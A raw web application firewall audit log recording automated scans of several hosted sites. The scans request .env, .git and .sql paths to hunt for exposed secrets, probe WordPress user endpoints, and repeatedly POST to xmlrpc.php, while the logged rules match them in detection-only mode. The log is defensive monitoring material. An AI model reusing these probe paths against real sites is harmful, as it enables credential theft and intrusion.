--47832217-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.thebrandwagon.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.thebrandwagon.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.thebrandwagon.in"] [uri "/wp-json/wp/v2/users/1"] [unique_id "aE966IkQyF8-ounHsxsJsgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/thebrandwagon.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039272031560 114292 (- - -) Stopwatch2: 1750039272031560 114292; combined=1907, p1=325, p2=1480, p3=0, p4=0, p5=102, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --47832217-Z-- --e8913e5f-A-- [16/Jun/2025:07:31:18.453911 +0530] aE967ehCUAahT1nBjTYSAwAAAAM 185.177.72.210 33412 127.0.0.1 7081 --e8913e5f-B-- GET /.env.js HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e8913e5f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0db806c2f58253056854b4555748b17f1750039278; expires=Mon, 16 Jun 2025 03:01:18 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e8913e5f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.js"] [unique_id "aE967ehCUAahT1nBjTYSAwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039277780236 673752 (- - -) Stopwatch2: 1750039277780236 673752; combined=2132, p1=479, p2=1558, p3=0, p4=0, p5=94, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e8913e5f-Z-- --998c3865-A-- [16/Jun/2025:07:31:24.506609 +0530] aE9686vO5IZc5ZzLe_3okgAAAAA 185.177.72.210 43358 127.0.0.1 7081 --998c3865-B-- GET /s-with-me-front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --998c3865-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=06addddb9bd5ea5e31e439ca3c9992081750039284; expires=Mon, 16 Jun 2025 03:01:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --998c3865-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/s-with-me-front/.env"] [unique_id "aE9686vO5IZc5ZzLe_3okgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039283855674 650995 (- - -) Stopwatch2: 1750039283855674 650995; combined=1973, p1=372, p2=1525, p3=0, p4=0, p5=76, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --998c3865-Z-- --d7219d23-A-- [16/Jun/2025:07:31:28.545450 +0530] aE9692CnKbldJKSM7awb2gAAAAc 185.177.72.210 43574 127.0.0.1 7081 --d7219d23-B-- GET /:8880/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d7219d23-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fbced7f2ec803b4c5db17df17f82de641750039288; expires=Mon, 16 Jun 2025 03:01:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d7219d23-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/configurationtion/.env"] [unique_id "aE9692CnKbldJKSM7awb2gAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039287842810 702703 (- - -) Stopwatch2: 1750039287842810 702703; combined=2041, p1=426, p2=1505, p3=0, p4=0, p5=110, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d7219d23-Z-- --840f7f19-A-- [16/Jun/2025:07:31:31.533840 +0530] aE96-okQyF8-ounHsxsJuwAAAA8 185.177.72.210 39014 127.0.0.1 7081 --840f7f19-B-- GET /:5000/env/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --840f7f19-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eb96c2a2af76982408f30d28ae7a1da71750039291; expires=Mon, 16 Jun 2025 03:01:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --840f7f19-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/env/.env"] [unique_id "aE96-okQyF8-ounHsxsJuwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039290880886 653030 (- - -) Stopwatch2: 1750039290880886 653030; combined=1838, p1=353, p2=1380, p3=0, p4=0, p5=104, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --840f7f19-Z-- --179a6247-A-- [16/Jun/2025:07:31:32.517859 +0530] aE96-2CnKbldJKSM7awb3AAAAAc 185.177.72.210 39058 127.0.0.1 7081 --179a6247-B-- GET /.git/logs/refs/remotes/origin/HEAD HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --179a6247-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6ec018c5cfab29c722c46532e9cf828f1750039292; expires=Mon, 16 Jun 2025 03:01:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --179a6247-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/logs/refs/remotes/origin/HEAD"] [unique_id "aE96-2CnKbldJKSM7awb3AAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039291861854 656068 (- - -) Stopwatch2: 1750039291861854 656068; combined=2196, p1=411, p2=1606, p3=0, p4=0, p5=178, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --179a6247-Z-- --eca06e21-A-- [16/Jun/2025:07:31:33.595129 +0530] aE96_AS4XDlCv3KXioQI4QAAAAY 128.199.112.101 39070 127.0.0.1 7081 --eca06e21-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 497 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --eca06e21-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --eca06e21-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE96_AS4XDlCv3KXioQI4QAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039292618035 977159 (- - -) Stopwatch2: 1750039292618035 977159; combined=2076, p1=322, p2=1330, p3=49, p4=71, p5=187, sr=83, sw=117, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eca06e21-Z-- --0ad78013-A-- [16/Jun/2025:07:31:42.544547 +0530] aE97BWCnKbldJKSM7awb4wAAAAc 185.177.72.210 46642 127.0.0.1 7081 --0ad78013-B-- GET /:8443/shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0ad78013-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=53f2836227f10dc99baed3e31a84dc751750039302; expires=Mon, 16 Jun 2025 03:01:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0ad78013-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/shop/.env"] [unique_id "aE97BWCnKbldJKSM7awb4wAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039301863398 681212 (- - -) Stopwatch2: 1750039301863398 681212; combined=1689, p1=360, p2=1218, p3=0, p4=0, p5=111, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0ad78013-Z-- --aeca8a25-A-- [16/Jun/2025:07:31:43.559876 +0530] aE97BqvO5IZc5ZzLe_3onwAAAAA 185.177.72.210 46788 127.0.0.1 7081 --aeca8a25-B-- GET /.gitignore.orig HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --aeca8a25-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7c86c12ec6790051f49a65ca8bd91b8c1750039303; expires=Mon, 16 Jun 2025 03:01:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --aeca8a25-H-- Message: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.gitignore.orig"] [unique_id "aE97BqvO5IZc5ZzLe_3onwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039302868999 690940 (- - -) Stopwatch2: 1750039302868999 690940; combined=2098, p1=420, p2=1580, p3=0, p4=0, p5=98, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --aeca8a25-Z-- --9a819524-A-- [16/Jun/2025:07:31:44.536183 +0530] aE97B_vF1ly0gx5reNmFyAAAAAE 185.177.72.210 46952 127.0.0.1 7081 --9a819524-B-- GET /:8000/vendor/laravel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9a819524-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1590279c028daef8436edced4e41defe1750039304; expires=Mon, 16 Jun 2025 03:01:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9a819524-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/vendor/laravel/.env"] [unique_id "aE97B_vF1ly0gx5reNmFyAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039303882105 654156 (- - -) Stopwatch2: 1750039303882105 654156; combined=1875, p1=348, p2=1426, p3=0, p4=0, p5=100, sr=83, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9a819524-Z-- --c76e6276-A-- [16/Jun/2025:07:31:49.461872 +0530] aE97DOMjvy_LHXlMeRAWbQAAAAU 185.177.72.210 47196 127.0.0.1 7081 --c76e6276-B-- GET /typo3conf/ext/static_info_tables/ext_tables.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c76e6276-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f0fbcc5aba01cafda93f14b71e72a9e31750039309; expires=Mon, 16 Jun 2025 03:01:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c76e6276-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/typo3conf/ext/static_info_tables/ext_tables.sql"] [unique_id "aE97DOMjvy_LHXlMeRAWbQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039308811670 650266 (- - -) Stopwatch2: 1750039308811670 650266; combined=2025, p1=352, p2=1572, p3=0, p4=0, p5=101, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c76e6276-Z-- --b828562c-A-- [16/Jun/2025:07:31:52.510109 +0530] aE97D6vO5IZc5ZzLe_3opQAAAAA 185.177.72.210 48630 127.0.0.1 7081 --b828562c-B-- GET /:8008/awstats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b828562c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3c923806a290931af9612253820a44501750039312; expires=Mon, 16 Jun 2025 03:01:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b828562c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/awstats/.env"] [unique_id "aE97D6vO5IZc5ZzLe_3opQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039311818708 691465 (- - -) Stopwatch2: 1750039311818708 691465; combined=2033, p1=390, p2=1525, p3=0, p4=0, p5=117, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b828562c-Z-- --f11b1e71-A-- [16/Jun/2025:07:32:03.837075 +0530] aE97G7oFnONBt7jRcByYnwAAAA4 185.177.72.210 40332 127.0.0.1 7081 --f11b1e71-B-- GET /api/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f11b1e71-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=638e1faeab4950bdde444b7b7bac61aa1750039323; expires=Mon, 16 Jun 2025 03:02:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f11b1e71-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/api/.env.example"] [unique_id "aE97G7oFnONBt7jRcByYnwAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039323181736 655402 (- - -) Stopwatch2: 1750039323181736 655402; combined=1975, p1=392, p2=1488, p3=0, p4=0, p5=95, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f11b1e71-Z-- --e60d2638-A-- [16/Jun/2025:07:32:33.839967 +0530] aE97OLoFnONBt7jRcByYqgAAAA4 128.199.112.101 44758 127.0.0.1 7081 --e60d2638-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 493 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --e60d2638-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --e60d2638-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE97OLoFnONBt7jRcByYqgAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750039352900237 939786 (- - -) Stopwatch2: 1750039352900237 939786; combined=2306, p1=411, p2=1517, p3=40, p4=68, p5=169, sr=103, sw=101, l=0, gc=0 Producer: ModSecurity for 